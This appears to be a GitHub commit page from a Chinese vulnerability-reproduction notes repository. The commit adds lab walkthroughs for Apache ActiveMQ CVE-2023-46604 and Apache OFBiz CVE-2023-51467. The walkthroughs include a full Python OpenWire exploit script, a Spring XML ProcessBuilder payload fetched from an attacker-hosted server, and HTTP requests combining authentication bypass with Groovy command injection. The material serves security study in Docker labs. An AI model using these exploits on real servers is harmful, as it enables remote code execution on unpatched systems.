Skip to content

Commit

Permalink
update apache ofbiz & activemq
Browse files Browse the repository at this point in the history
  • Loading branch information
Threekiii committed Jan 4, 2024
1 parent f442e6d commit 8c13d81
Show file tree
Hide file tree
Showing 13 changed files with 196 additions and 6 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
# Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604

## 漏洞描述

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

参考链接:

- [https://activemq.apache.org/news/cve-2023-46604](https://activemq.apache.org/news/cve-2023-46604)
- [https://xz.aliyun.com/t/12929](https://xz.aliyun.com/t/12929)
- [https://boogipop.com/2023/11/03/Apache%20ActiveMQ%20CVE-2023-46604%20RCE%20%E5%88%86%E6%9E%90/](https://boogipop.com/2023/11/03/Apache%20ActiveMQ%20CVE-2023-46604%20RCE%20%E5%88%86%E6%9E%90/)
- [https://forum.butian.net/share/2566](https://forum.butian.net/share/2566)

## 环境搭建

ActiveMQ运行后,默认监听如下两个端口:

|默认端口|默认条件|
|---|---|
|8161 web|需配置才可远程访问|
|61616 tcp|远程访问|

反序列化漏洞出现在61616端口中。

Vulhub 执行如下命令启动一个ActiveMQ 5.17.3版本服务器:

```
docker compose up -d
```

服务启动后,访问`http://your-ip:8161`检查服务是否运行成功。但实际上利用该漏洞,并不需要能够访问8161端口。

![](images/Apache%20ActiveMQ%20OpenWire%20协议反序列化命令执行漏洞%20CVE-2023-46604/image-20240104094726313.png)

## 漏洞复现

首先,启动一个HTTP反连服务器,其中包含[poc.xml](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.xml)

```shell
python3 -m http.server 6666
```

然后,执行[poc.py](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.py),传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL:

```shell
python3 poc.py your-ip 61616 http://your-server/poc.xml
```

等待执行,几分钟后执行完成。进入ActiveMQ容器:

```
docker exec cve-2023-46604-activemq-1 ls -l /tmp
```

可见,`touch /tmp/activeMQ-RCE-success`已经被成功执行:

![](images/Apache%20ActiveMQ%20OpenWire%20协议反序列化命令执行漏洞%20CVE-2023-46604/image-20240104102657021.png)

## 漏洞POC

[poc.xml](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.xml)

```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/activeMQ-RCE-success</value>
</list>
</constructor-arg>
</bean>
</beans>
```

[poc.py](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.py)

```python
import io
import socket
import sys


def main(ip, port, xml):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))

with socket_obj:
out = socket_obj.makefile('wb')
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(xml).to_bytes(2, 'big'))
out.write(xml.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()


if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
```
55 changes: 55 additions & 0 deletions Apache OFBiz 鉴权绕过导致命令执行 CVE-2023-51467.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# Apache OFBiz 鉴权绕过导致命令执行 CVE-2023-51467

## 漏洞描述

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

这个漏洞的原因是对于[CVE-2023-49070](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-49070)的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。来自长亭科技的安全研究员利用这一点找到了另一个可以导致RCE的方法:Groovy表达式注入。

参考连接:

- [https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa](https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa)
- [https://xz.aliyun.com/t/13211](https://xz.aliyun.com/t/13211)
- [https://y4tacker.github.io/](https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/)

## 环境搭建

Vulhub 执行如下命令启动一个Apache OfBiz 18.12.10服务器:

```
docker compose up -d
```

在等待数分钟后,访问`https://your-ip:8443/accounting`查看到登录页面,说明环境已启动成功。

如果是非本地 localhost 启动,Headers 需要包含 `Host: localhost`,否则报错:

```
ERROR MESSAGE
org.apache.ofbiz.webapp.control.RequestHandlerException: Domain 60.204.216.3 not accepted to prevent host header injection. You need to set host-headers-allowed property in security.properties file.
```

![](images/Apache%20OFBiz%20鉴权绕过导致命令执行%20CVE-2023-51467/image-20240104105738488.png)

## 漏洞复现

直接发送如下请求即可使用Groovy脚本执行`id`命令:

> Host: localhost
```
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
```

![](images/Apache%20OFBiz%20鉴权绕过导致命令执行%20CVE-2023-51467/image-20240104105846768.png)
20 changes: 16 additions & 4 deletions Apache OfBiz 反序列化命令执行漏洞 CVE-2023-49070.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,16 @@ Vulhub 执行如下命令启动一个Apache OfBiz 18.12.09版本:
docker compose up -d
```

在等待数分钟后,访问`https://localhost:8443/accounting`查看到登录页面,说明环境已启动成功。
在等待数分钟后,访问`https://your-ip:8443/accounting`查看到登录页面,说明环境已启动成功。

如果是非本地 localhost 启动,Headers 需要包含 `Host: localhost`,否则报错:

```
ERROR MESSAGE
org.apache.ofbiz.webapp.control.RequestHandlerException: Domain 60.204.216.3 not accepted to prevent host header injection. You need to set host-headers-allowed property in security.properties file.
```

![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20240104105720312.png)

## 漏洞复现

Expand All @@ -36,6 +45,8 @@ java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/awesome_poc" | base64 | tr

使用CVE-2020-9496中的复现方法发送数据包,已经无法成功进入XMLRPC的解析流程:

> Host: localhost
```
POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost
Expand Down Expand Up @@ -64,12 +75,13 @@ Content-Length: 4093

![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20231212095704854.png)


把Path修改成`/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y`即可绕过限制:

> Host: localhost
```
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Host: localhost
Content-Type: application/xml
Content-Length: 4093
Expand Down Expand Up @@ -97,4 +109,4 @@ Content-Length: 4093

进入容器中,可见`touch /tmp/success`已成功执行:

![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20231212095901069.png)
![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20231212095901069.png)
2 changes: 1 addition & 1 deletion Flask Jinja2 服务端模板注入漏洞.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ docker-compose up -d

访问`http://your-ip:8000/?name={{233*233}}`,得到54289,说明SSTI漏洞存在。

<img src="images/202202231628824.png" alt="image-20220223162850741" style="zoom:67%;" />
![](images/202202231628824.png)

## 漏洞复现

Expand Down
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ Vulhub漏洞复现,不定时更新。感谢[@Vulhub](https://vulhub.org/)提
* Adobe ColdFusion 反序列化漏洞 CVE-2017-3066
* Adobe ColdFusion 文件读取漏洞 CVE-2010-2861
* Apache ActiveMQ Jolokia 后台远程代码执行漏洞 CVE-2022-41678
* Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604
* Apache ActiveMQ 任意文件写入漏洞 CVE-2016-3088
* Apache ActiveMQ 反序列化漏洞 CVE-2015-5254
* Apache Airflow Celery 消息中间件命令执行 CVE-2020-11981
Expand All @@ -32,6 +33,7 @@ Vulhub漏洞复现,不定时更新。感谢[@Vulhub](https://vulhub.org/)提
* Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228
* Apache OfBiz 反序列化命令执行漏洞 CVE-2020-9496
* Apache OfBiz 反序列化命令执行漏洞 CVE-2023-49070
* Apache OFBiz 鉴权绕过导致命令执行 CVE-2023-51467
* Apache RocketMQ 远程命令执行漏洞 CVE-2023-33246
* Apache Shiro 1.2.4 反序列化漏洞 CVE-2016-4437
* Apache Shiro 认证绕过漏洞 CVE-2010-3863
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ test

`touch /tmp/success`已经成功被执行:

<img src="images/image-20220412163527748.png" alt="image-20220412163527748" style="zoom:50%;" />
![](images/image-20220412163527748.png)

## 漏洞POC

Expand Down
Binary file added images/202202231628824.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added images/image-20220412163527748.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 8c13d81

Please sign in to comment.